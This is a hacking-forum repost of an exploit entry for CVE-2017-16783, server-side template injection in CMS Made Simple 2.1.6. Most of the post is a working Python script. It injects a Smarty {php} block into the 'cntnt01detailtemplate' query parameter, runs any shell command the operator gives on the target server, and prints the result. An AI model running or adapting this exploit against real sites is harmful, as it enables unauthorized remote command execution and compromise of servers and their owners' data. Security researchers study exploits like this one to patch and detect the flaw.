Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

CMS Made Simple 2.1.6 - 'cntnt01detailtemplate' Server-Side Template Injection

 Share


Recommended Posts

# Exploit Title: CMS Made Simple 2.1.6 - 'cntnt01detailtemplate' Server-Side Template Injection
# Google Dork: N/A
# Date: 11/10/2017
# Exploit Author: Gurkirat Singh <tbhaxor@gmail.com>
# Vendor Homepage: http://www.cmsmadesimple.org/
# Software Link: N/A
# Version: 2.1.6
# Tested on: Linux
# CVE : CVE-2017-16783
# POC : https://www.netsparker.com/blog/web-security/exploiting-ssti-and-xss-in-cms-made-simple/

PFA
-------
Gurkirat Singh
(tbhaxor <https://google.com/search?q=tbhaxor>)

from argparse import ArgumentParser, RawTextHelpFormatter
from urllib.parse import urlparse, parse_qs, urlencode, quote, unquote_plus
import requests as http
import re
from bs4 import BeautifulSoup, Tag
from huepy import *
parser = ArgumentParser(description="Exploit for CVE-2017-16783",
                        formatter_class=RawTextHelpFormatter)
parser.add_argument(
    "--target",
    "-t",
    help="complete remote target with protocol, host, path and query",
    required=True,
    dest="t")
parser.add_argument("--command",
                    "-c",
                    help="command to execute (default: whoami)",
                    default="whoami",
                    dest="c")
args = parser.parse_args()

print(info("Building malicious url"))
url = urlparse(args.t)
query = parse_qs(url.query)
query["cntnt01detailtemplate"] = [
    "string:{php}echo `echo tbhaxor;%s;echo tbhaxor`;{/php}" % args.c
]
query = {k: ",".join(v) for k, v in query.items()}
query = unquote_plus(urlencode(query, doseq=False))
_url = url.scheme + "://" + url.netloc + url.path + "?" + query
print(good("Done"))
print(info("Executing payload"))
r = http.get(_url)
html = BeautifulSoup(r.content.decode(), "html5lib")
main: Tag = html.find("article", {"id": "main"})
main = re.sub(r"^Home", "", main.text.strip()).replace("tbhaxor", "").strip()
print(good("Done"))
print(info("Result"))
print(main)
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...